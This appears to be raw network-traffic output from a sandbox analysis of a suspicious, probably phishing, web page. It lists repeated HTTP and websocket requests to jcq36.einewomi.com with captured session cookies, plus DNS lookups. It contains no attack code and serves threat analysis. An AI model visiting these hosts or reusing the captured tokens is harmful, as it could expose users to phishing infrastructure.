XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: jcq36.einewomi.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://jcq36.einewomi.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3DSec-WebSocket-Key: Q8z08H3rsvcd3qpk7n+CHQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: jcq36.einewomi.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://jcq36.einewomi.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3DSec-WebSocket-Key: nwEQ4LijZvJVI8jzC07Q9Q==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: jcq36.einewomi.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://jcq36.einewomi.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3DSec-WebSocket-Key: yEYMdc0H1gqCyEbjltEFBQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: jcq36.einewomi.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://jcq36.einewomi.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3DSec-WebSocket-Key: /yIW+HTI8274qHz+XwiETA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: global traffic	DNS traffic detected: DNS query: clicks.aweber.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: acmeauto.in
Source: global traffic	DNS traffic detected: DNS query: presidio.com
Source: global traffic	DNS traffic detected: DNS query: jcq36.einewomi.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io

Source: unknown

